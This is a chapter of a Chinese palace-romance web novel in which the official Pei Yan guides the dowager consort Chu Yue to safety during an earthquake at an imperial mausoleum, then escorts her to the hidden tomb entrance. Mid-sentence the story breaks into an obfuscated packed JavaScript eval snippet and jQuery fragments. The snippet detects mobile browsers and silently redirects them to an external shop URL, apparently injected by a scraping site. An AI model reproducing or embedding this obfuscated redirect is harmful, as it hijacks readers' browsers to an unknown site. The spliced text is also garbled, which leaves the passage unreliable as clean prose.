裴俨正在与工部尚书议事,感觉到屋里摇晃了一下。
物品掉落,头晕目眩,与那日寝殿发生的烛台掉落,香炉劈裂的情景颇为相似。
“不好,地动!”工部尚书祁文俊大叫一声。
裴俨长眉一凛:“快通知所有人,即刻退到御道上!”
想到什么,放下书,径直出了房门,来到后院。
如今后院几乎没有什么人,他侧耳倾听,很快辩出一间屋里有人,叩门道:“娘娘?”
唤了两声不见回应,却隐约听见里头响起水声。
他立即提高了音调:“娘娘——”
这回楚悦听见了,却让他进去。
他垂眸……里头传来哗哗的水声,她嗓音慵懒,似乎在沐浴。
就在这时,一阵剧烈的摇晃,只听楚悦一声惊叫,他也险些没站稳,定住身形后,便听见里头传来剧烈的哗啦声,和溺水的声音。
他心口一紧,手背青筋暴起,却还是没进门。
“娘娘,地动了!快些出来!”
他提高音调,重重地拍打着门扇。
听见他的警示,楚悦方从梦中惊醒,迅速出浴,去内间将自己擦干,用棉布包着头发,草草穿好衣裳,转身便是瞳孔一震。
裴俨终究还是担忧她的情况,进了屋里。
见她脸颊透着红晕,一头湿发随意用棉布裹着,果然是刚出浴的样子,不由庆幸,方才幸好没有擅闯。
迅速垂眸,低声道:“微臣失礼了,情况危急,还请娘娘快些去御道上避险。”
楚悦的脸愈发红,按着一头湿发,快步走到他面前,与他一同出了门。
蓦地,急声问:“大人可知道白露在何处?”
“有晨风在,她不会有事。”
楚悦放下心,又突然想起小青还在房中,霎时调转了方向。
“娘娘作甚?”裴俨一把将她拉住。
“小青还在房里。”
“交给微臣,娘娘快出去。”
就在这时,地面又是一晃,楚悦身子一斜,裴俨立即将她扶稳。
她蹙眉,望着他:“那大人万万小心。”
御道上,官员们和太监们已经围着站在空地上,对着这场祸乱议论纷纷,说是先帝余怒未消。
看到楚悦过来,脸颊潮红,头发尚在滴水,众人纷纷明白方才她正在沐浴,大部分人都自觉地垂头回避,只有谢熙投来鄙夷的目光。
“太妃娘娘,可曾瞧见裴大人?”
楚悦坦然答道:“裴大人正在后院,还有一个宫女不便行走,他去叫她了。”
“是小青,方才王都督已经让人去叫了,应该马上出来,娘娘和谢大人不必担心。”有太监提醒道。
果然不多时,便有人指着她身后,两眼晶亮:“来了!”
王都督和一个小太监搀着小青正朝大家走过来。
恰巧此时,御道外,晨风也带着白露回来,手里拿着一个风筝。
“娘娘,你没事吧?”
来到楚悦面前,白露将她上下打量一遍,满眼关切。
楚悦却见她脏了衣裙,忙问:“你摔跤了?”
“奴婢怕娘娘有危险,跑得急,摔了一下,已经不疼了。”
“傻孩子,没事就好。”
众人都安全地退了出来,等在御道外的空地上,然而从傍晚一直站到天黑,地动却迟迟未曾到来。
有人提议,不妨先回房,裴俨担心地动还会再来,安全起见,让大家在御道上坚持了一夜。
虽是七月,山间夏日的夜晚,还是有些寒凉。
担心楚悦湿着头发吹了夜风害了身子,裴俨便解开了自己的衣裳,却听见一旁传来李流光的声音。
“娘娘,夜里有风,先披着草民的衣裳吧。”
出门时拿的棉布用来擦了头发,此刻已经湿透,并不能拿来御寒。楚悦便没有拒绝,将他的衣裳披在了身上。
“多谢。”
裴俨沉着脸,解扣子的手一顿。
这一个动作被谢熙捕捉到,他凑上来,问:“裴大人竟觉得热,下官怎么觉得这山里的晚上凉飕飕的,年轻人果然火气旺。”
他蓦然的出声,让裴俨想起官员刚到陵宫那日。原来上香时寝殿种种异象,皆是地动的先兆。
钦天监有预测地动之责,谢熙却未能预料此事,反而坚信迷信之说,企图让楚悦放血祭奠。
裴俨将扣子又扣了回去,乜他一眼,冷冷道:“那谢大人不妨去生些火。”
而后走到一旁,一掀衣摆,端正地席地而坐。
好在一夜无事。
陵宫修缮事宜又开始如火如荼地进行。
地动虽然只有短暂的一瞬,但是回去之后,众人才发觉房里的情况并不乐观。一片狼藉,不乏破碎的瓦片,花瓶,散乱一地的摆设。
亦有好几个官员称,自己的墙壁有了裂痕。
裴俨一面让谢熙好生推演,探测出究竟还会不会有下一次地动。一边安排工部的人再将陵宫从内到外检查一遍,将所有受损之处细细记录在册,以便拟定修复计划。
官员们这几日时常来后院检查,楚悦觉得分外不便,这日便带着白露,想去后山转转。
走到半路,却遇见了裴俨。
“大人也要去后山?”楚悦问。
“陵宫地动,微臣担心墓穴有异动,便想去查看一番。”
“只有大人自己去吗?为何不多叫几个官员一同前去?”
墓穴入口,乃密要之地,为防谢露出去,引发盗墓,故而知道的人越少越好。何况,今日他询问过,官员们都异口同声,表示自己手头的事情暂时搁置不下,不能与他同去。
裴俨只牵唇回道:“他们忙着自己的事情,微臣正好有空,便亲自前去。”
可若是进去,再有地动,被埋在里头该如何是好?
楚悦不由地蹙起眉头:“那我和大人一起去。”
此处只有他们,她习惯性地,忘了自称哀家。
脸上闪过一丝羞赧,却听见头顶传来一声低笑。
抬眸却见裴俨不动声色,唇角分明没有笑意:“墓穴阴森,你不怕么?”
“不是有你在么。”
多日未曾与她独处,裴俨略一沉吟,叫来晨风,吩咐他好生照顾白露,然后和楚悦一同去往墓穴入口所在的方位。
*
许是忙着赶路的原因,亦或是多日不见,有些生疏。
一开始两人不约而同都保持沉默。
直到踩上一个斜坡,楚悦没站稳,脚一滑,被走在后面的裴俨接在怀里。
陷在他宽阔的怀中,那种悸动又飞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341480|140155||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
速滋长,楚悦耳后一热,小声道:“谢谢。”
“你忘了我说过的了?”
楚悦仰头望着他深沉的眸,一怔。
那日下山置办桌案,裴俨曾说,保护她,是他之责。
看着她一双清澈懵懂的眸,裴俨最终只是淡淡一笑:“没什么,来,先下来,我走前面,拉着你上去。”
楚悦尚不好意思,裴俨已经走到前面,朝她伸出手。
心跳好似漏了一拍,楚悦咬唇,把手交到他手里,温热,宽厚,分外有力,拉着她,不多时,他们便上了这坡。
上坡后,裴俨立即松了楚悦。
许是天热,楚悦的手上竟满是汗水。
裴俨递来手帕,是她送的那方:“擦一擦。”
楚悦红着脸接过。
他手上,想必也沾上了不少她的汗液吧。
帕子已经沾上他身上气息,擦了两下,手心的汗竟怎么也不见干,便又还给他。
裴俨接过,就着她用过的地方,在修长的指缝拭了拭,重新叠好放回袖中。
看着他慢条斯理的动作,楚悦不知不觉又起了一层热汗。
没走几步,又来到一个小小的山坳。
裴俨自是轻松地一跃,便稳稳地落了地。楚悦却仍站在上面,看着眼前陡然低下去一尺多高的地面,有些畏惧,又有些羞涩。
她烫着脸,主动把手朝他伸了过去。
“大人,”他目光太过灼人,她不敢直视,望着他胸前玄色绣纹,声若蚊呐地道,“你拉我。”
谁知裴俨竟双手穿过她腋窝,直接将她抱到了地上。
楚悦的身子霎时软了半边,忙撑在他肩上,心跳不已,落地后仍扶在他肩头,愣愣看着他。
望着她眼底渐渐浮起的水光,裴俨一怔:“畏高?”
低沉醇厚的嗓音,分外地好听,楚悦心口一窒,猛地抽回放在他肩头的双手,快步逃了出去。
望着她落荒而逃的模样,裴俨唇线愈发松弛。
正午时分,他们便抵达了墓穴所在的山头。
取出地图,对着标志物一番查找,裴俨最终停在一片丛生的藤蔓边。
“便是这处?”楚悦看着空旷的地面,有些怀疑。
仓惶之间脚边撞上什么,立即从地底传来一阵石块滚落的声音,她的汗毛霎时都竖了起来,急忙退到裴俨身边。
“莫怕。”
裴俨安抚好她,俯下身去,不知动了什么机扩,藤蔓下面突然传出一阵轰隆隆的闷响,好似是石块移动的声音。
不多时,一个方桌大小的黑洞出现在眼前,楚悦这才相信,他们并未走错地方。
裴俨拨开藤蔓,侧首望向她:“走吧。”
来到洞口边,一股陈腐的霉味瞬间从里面飘出。
楚悦连忙掩住口鼻,低头便见一群密密麻麻的蚂蚁从脚边经过,她头皮一阵发麻,下意识扯过裴俨的一片袍角,紧紧地攥在手心。
点亮火折,裴俨毫不畏惧地走进了洞里,连腰都不曾弯一下。
楚悦却像是被钉在了地上,迈不动腿。
眼看他的身子在眼前一点点下沉,手里他的衣袍也因为他们之间的距离产生了拉扯,越蹦越紧,最后一不留神,飞了出去。
惊慌之际,裴俨朝她伸过手来:“手给我,我拉着你。”